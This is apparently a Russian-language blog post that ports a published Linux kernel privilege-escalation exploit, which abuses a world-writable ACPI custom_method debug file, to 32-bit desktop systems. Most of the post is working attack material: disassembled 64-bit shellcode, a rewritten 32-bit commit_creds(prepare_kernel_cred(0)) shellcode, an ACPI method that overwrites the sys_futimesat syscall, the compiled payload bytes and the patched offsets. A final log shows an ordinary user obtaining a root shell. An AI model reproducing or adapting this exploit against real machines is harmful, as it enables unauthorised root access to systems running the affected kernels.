Наткнулся недавно на упоминание декабрьского эксплойта Jon Oberheide.
В качестве челленджа задался идеей портировать этот эксплойт.
Первоначальный эксплойт работает только на ноутбуках (где есть LID ACPI девайс состояния крышки) и исключительно на 64-битных системах.
Задача: портировать эксплойт на 32-бита и обычный десктоп.
Описание бага
Т.к. подвержены ядра 2.6.33 <= x < 2.6.37-rc2, решил скачать Ubuntu 10.10 и не нашел там файла custom_method - не совершайте подобной ошибки

Поэтому зашел на securityfocus, где нашел указание о том, что уязвимой точно является
OpenSUSE 11.3 (uname -an:
2.6.34-12-desktop #1 SMP PREEMPT 2010-06-29 02:39:08 +0200 i686 i686 i386 GNU/Linux). C ней и будем разбираться.
Сутью бага, если его так можно назвать, являются неправильно выставленные права на файл
/sys/kernel/debug/acpi/custom_method. Этот файл появился в 2.6.33, коммит от программиста из Intel, его предназначением является возможность править таблицу ACPI вызовов для легкого дебага без перезагрузки.
В комментарии к эксплойту Jon Oberheide описывает эксплуатацию бага: доступ к custom_method позволяет записывать свои методы ACPI в таблицу ACPI в ядре. Поэтому мы скомпилируем наш хитрый метод, который будет срабатывать при опросе девайса LID (состояние крышки ноутбука - открыта/закрыта). Когда метод сработает, он запишет выбранный нами шеллкод по указанному адресу в ядре. В частности в эксплойте происходит запись кода повышения привилегий по адресу сисколла sys_futimesat.
Разбор эксплойта
Рассмотрим оригинальный эксплойт (функцию main()).
Код:
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
Объявляем payload - наш компилированный ACPI метод, который мы запишем в файл custom_method
Код:
sys_futimesat = get_symbol("sys_futimesat");
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
commit_creds = get_symbol("commit_creds");
Ищем экспортируемые символы. Последние 2 наводят на мысль, что будет использоваться работающий в ядрах >=2.6.29 commit_creds(prepare_kernel_cred(0)).
Код:
ret = stat(CUSTOM_METHOD, &sb);
if (!(sb.st_mode & S_IWOTH)) {
...
ret = stat(HEY_ITS_A_LID, &sb);
Проверяем, что файл
custom_method доступен для записи, и что
HEY_ITS_A_LID существует.
Код:
sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
Из адреса
sys_futimesat получаем его смещение относительно начала зоны памяти ядра (kernel memory).
Записываем его, а также адреса
commit_creds и
prepare_kernel_cred в компилированный ACPI метод, чтобы эксплойт сработал на этой машине.
Код:
fp = fopen(CUSTOM_METHOD, "w");
fwrite(payload, 1, sizeof(payload), fp);
...
fp = fopen(HEY_ITS_A_LID, "r");
fread(&buf, 1, sizeof(buf), fp);
Пишем payload с адресами текущей машины в
custom_method, а затем открываем ACPI девайс (
HEY_ITS_A_LID), для срабатывания записанного нами метода.
Код:
ret = futimesat(0, "/tmp", NULL);
Вызываем syscall
futimesat (по его адресу сейчас должен быть записан код для повышения наших привилегий).
После этого процесс эксплойта должен быть наделен рутовыми привилегиями, и можно запускать шелл.
Что потребуется для портирования? Во-первых, переписать payload для работы с другим ACPI девайсом (крышка ноута на десктопе отсутствует), во-вторых, шеллкод, содержащийся в payload, переделать под 32 бита.
Портируем
Для начала определимся, какой ACPI девайс мы будет использовать на нашей машине (и есть ли вообще что использовать)?
Цитата:
$ sudo su
# echo 0x1F >/sys/module/acpi/parameters/debug_layer
# echo 0x1F >/sys/module/acpi/parameters/debug_level
|
Повысим уровень дебага, чтобы видеть какие ACPI методы мы сможем вызвать.
Теперь сделаем вот так:
Код:
$ grep -R "blah-blah" /proc/acpi
$ dmesg|tail
[ 2094.580984] ACPI: Execute Method [\_SB_.ACAD._PSR] (Node d5196b08)
Удача! В
/proc/acpi мы смогли чтением какого-то девайса вызвать срабатывание метода \_SB_.ACAD._PSR.
Значит рут на машине неизбежен
Последовательным чтением разных девайсов в
/proc/acpi выясняем, что этот метод вызывается (и как мы можем видеть - появляется в логах) при чтении
/proc/acpi/ac_adapter/ACAD/state
Поэтому в нашем эксплойте мы меняем
Код:
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
На
Код:
#define HEY_ITS_A_LID "/proc/acpi/ac_adapter/ACAD/state"
Теперь будем разбираться с payload. Как пишет Jon Oberheide, исходный код ACPI метода, который мы запишем в таблицу ACPI выглядит так:
Код:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
Method (\_SB.LID._LID, 0, NotSerialized) {
OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
Field(KMEM, AnyAcc, NoLock, Preserve) {
HACK, 0x392
}
Store (Buffer () {
0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
0xc3 }, HACK)
Return (One)
}
}
Сразу видно, что вместо метода
\_SB.LID._LID нужно поставить найденный нами
\_SB.ACAD._PSR (см. чуть выше, по аналогии с оригиналом нужно убрать у "\_SB_" последнее подчеркивание).
Далее,
OperationRegion определяется так:
OperationRegion(Name, Space, Offset, Length). Таким образом, мы определяем регион работы метода как регион KMEM (зона памяти ядра) со смещением PHYADDR. Забегая вперед, скажу PHYADDR это смещение сисколла sys_futimesat. Т.е. мы будем работать с адресом KMEM+смещение_от_KMEM_до_sys_futimesat , что равно адресу
sys_futimesat.
И затем выполняя
Store() мы записываем по адресу
sys_futimesat наш шеллкод.
Посмотрим, что делает шеллкод (не забываем, что он 64-битный).
Код:
$ perl -e 'print
"\x55\x48\x89\xe5\x53\x48\x83\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3"' | ndisasm -b 64 -
00000000 55 push rbp
00000001 4889E5 mov rbp,rsp
00000004 53 push rbx
00000005 4883EC08 sub rsp,byte +0x8
00000009 48C7C324242424 mov rbx,dword 0x24242424
00000010 48C7C024242424 mov rax,dword 0x24242424
00000017 BF00000000 mov edi,0x0
0000001C FFD0 call rax
0000001E 4889C7 mov rdi,rax
00000021 FFD3 call rbx
00000023 48C7C0B7FFFFFF mov rax,dword 0xffffffb7
0000002A 4883C408 add rsp,byte +0x8
0000002E 5B pop rbx
0000002F C9 leave
00000030 C3 ret
Вспоминая строки
Код:
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
можно сделать вывод, что вместо 0x24242424 будут адреса
commit_creds и
prepare_kernel_cred. Как видно, мы кладем ноль в $edi и вызываем сначала prepare_kernel_cred с предположительно нулем как аргумент в $edi, затем полученное в $rax кладем в $rdi и вызываем уже commit_creds. Очевидно, что это вызов commit_creds(prepare_kernel_cred(0)), который поднимет привилегии текущего процесса (для подробностей можно прочитать
мой пост о task_struct).
Поскольку мы хотим заставить эксплойт работать на 32 битах, нам потребуется переписать этот шеллкод.
Для этого скомпилируем следующий файл и посмотрим как в ассемблере на 32 битах будет выглядеть функция с commit_creds(prepare_kernel_cred(0)):
Код:
$ cat > /tmp/creds.c
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int kernelmodecode()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
int main(int argc, char **argv)
{
unsigned long *ptr;
commit_creds = (_commit_creds) 0x24242424;
prepare_kernel_cred = (_prepare_kernel_cred) 0x25252525;
*ptr = (unsigned long)kernelmodecode;
return 0;
}
$ gcc /tmp/creds.c -o /tmp/creds; gdb /tmp/creds
(gdb) x/14i 0x80485d4
0x80485d4 <kernelmodecode>: push %ebp
0x80485d5 <kernelmodecode+1>: mov %esp,%ebp
0x80485d7 <kernelmodecode+3>: push %ebx
0x80485d8 <kernelmodecode+4>: sub $0x4,%esp
0x80485db <kernelmodecode+7>: mov 0x804a038,%ebx
0x80485e1 <kernelmodecode+13>: mov 0x804a03c,%edx
0x80485e7 <kernelmodecode+19>: mov $0x0,%eax
0x80485ec <kernelmodecode+24>: call *%edx
0x80485ee <kernelmodecode+26>: call *%ebx
0x80485f0 <kernelmodecode+28>: mov $0xffffffff,%eax
0x80485f5 <kernelmodecode+33>: add $0x4,%esp
0x80485f8 <kernelmodecode+36>: pop %ebx
0x80485f9 <kernelmodecode+37>: pop %ebp
0x80485fa <kernelmodecode+38>: ret
Полученное перепишем в intel-style ассемблер для nasm'a:
Код:
$ cat > 32sc.S
BITS 32
push ebp
mov ebp, esp
push ebx
sub esp, 0x4
mov ebx, 0x24242424
mov edx, 0x24242424
mov eax,0x0
call edx
call ebx
mov eax, 0xffffffff
add esp, 0x4
pop ebx
leave
ret
Проверяем:
Код:
$ nasm 32sc.S -o 32sc; ndisasm -u 32sc
00000000 55 push ebp
00000001 89E5 mov ebp,esp
00000003 53 push ebx
00000004 81EC04000000 sub esp,0x4
0000000A BB24242424 mov ebx,0x24242424
0000000F BA24242424 mov edx,0x24242424
00000014 B800000000 mov eax,0x0
00000019 FFD2 call edx
0000001B FFD3 call ebx
0000001D B8FFFFFFFF mov eax,0xffffffff
00000022 81C404000000 add esp,0x4
00000028 5B pop ebx
00000029 C9 leave
0000002A C3 ret
Получили то же самое, что в оригинальном эксплойте, но для 32 бит.
Сделаем из этого файла шеллкод, переписав байты в подходящий вид:
Код:
$ ./make-shellcode.sh ./32sc
\x55\x89\xe5\x53\x81\xec\x04\x00\x00\x00\xbb\x24\x24\x24\x24\xba\x24\x24\x24\x24\xb8\x00\x00\x00\x00\xff\xd2\xff\xd3\xb8\xff\xff\xff\xff\x81\xc4\x04\x00\x00\x00\x5b\xc9\xc3
И сделав еще одно преобразование

запишем их в наш ACPI метод в
Store():
Код:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
Method (\_SB.ACAD._PSR, 0, NotSerialized) {
OperationRegion (KMEM, SystemMemory, 0x71717171, 0x392)
Field(KMEM, AnyAcc, NoLock, Preserve) {
HACK, 0x392
}
Store (Buffer () {
0x55, 0x89, 0xe5, 0x53, 0x81, 0xec, 0x04, 0x00,
0x00, 0x00, 0xbb, 0x24, 0x24, 0x24, 0x24, 0xba,
0x24, 0x24, 0x24, 0x24, 0xb8, 0x00, 0x00, 0x00,
0x00, 0xff, 0xd2, 0xff, 0xd3, 0xb8, 0xff, 0xff,
0xff, 0xff, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00,
0x5b, 0xc9, 0xc3 }, HACK)
Return (One)
}
}
Обратите внимание, что в качестве смещения в kernel memory я указал 0x71717171 - так будет проще найти его местоположение чуть позже.
Теперь скомпилируем ACPI метод в бинарный вид.
Код:
$ iasl lid.aml; ls -la lid.aml; ./make-shellcode.sh ./lid.aml
-rw-r--r-- 1 synq users 138 2011-05-21 09:54 lid.aml
\x53\x53\x44\x54\x8a\x00\x00\x00\x02\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c\x04\x03\x10\x20\x14\x45\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x41\x43\x41\x44\x5f\x50\x53\x52\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\x80\xf4\x31\x00\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41\x43\x4b\x42\x39\x70\x11\x2e\x0a\x2b\x55\x89\xe5\x53\x81\xec\x04\x00\x00\x00\xbb\x24\x24\x24\x24\xba\x24\x24\x24\x24\xb8\x00\x00\x00\x00\xff\xd2\xff\xd3\xb8\xff\xff\xff\xff\x81\xc4\x04\x00\x00\x00\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01
Получили бинарный код ACPI метода и его размер - 138 байт.
Отразим их в эксплойте в
#define PAYLOAD_AML и
#define PAYLOAD_LEN 138
Осталось несколько штрихов. Т.к. адреса
sys_futimesat,
commit_creds и
prepare_kernel_cred везде разные, нам нужно записать их в payload.
Код:
sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
В первой строчке находится смещение sys_futimesat относительно начала памяти ядра. Т.к. на 32-битных системах ядро начинается с адреса 0xc0000000, то меняем строку на
sys_futimesat &= ~0xc0000000;
Далее, т.к. payload поменялась, нам нужно найти новые смещения, куда записывать эти 3 адреса.
Код:
$ hexdump -C -s 63 lid.aml | head -n1
0000003f 71 71 71 71 0b 92 03 5b 81 0c 4b 4d 45 4d 00 48 |..1....[..KMEM.H|
Смещение для
sys_futimesat осталось старым - 63 (видим выбранный ранее 0x71717171).
Код:
$ hexdump -C -s 100 lid.aml | head -n1
00000064 24 24 24 24 ba 24 24 24 24 b8 00 00 00 00 ff d2 |$$$$.$$$$.......|
Смещения для
commit_creds и
prepare_kernel_cred поменялись - теперь они 100 и 105.
На этом всё. Готовый эксплойт в ветке с оригинальным:
линк
Если на вашей машине вызывается другой метод (не
\_SB.ACAD._PSR), то по этому посту, думаю, сможете легко модифицировать эксплойт.
Пример работы
OpenSUSE 11.3 x86:
Код:
synq@linux-3roh:~> uname -an
Linux linux-3roh 2.6.34-12-desktop #1 SMP PREEMPT 2010-06-29 02:39:08 +0200 i686 i686 i386 GNU/Linux
synq@linux-3roh:~> id
uid=1000(synq) gid=100(users) groups=100(users)
synq@linux-3roh:~> gcc russian-sign-language.c -o russian-sign-language
synq@linux-3roh:~> ./russian-sign-language
[+] resolving required symbols...
[+] checking for world-writable custom_method...
[+] checking for an ACPI LID device...
[+] poisoning ACPI tables via custom_method...
[+] triggering ACPI payload via LID device...
[+] triggering exploit via futimesat...
[+] launching root shell!
linux-3roh:~> id
uid=0(root) gid=0(root)
linux-3roh:~> whoami
root
linux-3roh:~> ps aux|tail
synq 2658 0.0 4.2 64468 15916 ? S 09:18 0:00 /usr/bin/kupdateapplet
synq 2660 0.0 0.6 5276 2456 pts/2 Ss 09:18 0:00 /bin/bash
synq 2662 0.0 0.6 5276 2396 pts/3 Ss+ 09:18 0:00 /bin/bash
synq 2666 0.0 3.1 61308 11844 ? S 09:18 0:00 /usr/lib/kde4/libexec/polkit-kde-authentication-agent-1
synq 2670 0.0 0.5 5276 2192 pts/4 Ss+ 09:18 0:00 /bin/bash
synq 2676 0.0 0.6 5276 2436 pts/5 Ss+ 09:18 0:00 /bin/bash
root 2702 0.0 1.0 7760 3756 ? S 09:18 0:00 /usr/lib/polkit-1/polkitd
root 6843 0.2 0.5 5144 2192 pts/2 S 09:56 0:00 /bin/sh
root 6850 100 0.2 2848 1012 pts/2 R+ 09:57 0:00 ps aux
root 6851 0.0 0.1 3368 460 pts/2 S+ 09:57 0:00 tail
Last call for alcohol
BlackHat2007: John Heasman - Implementing and Detecting An ACPI BIOS
acpi_call LKM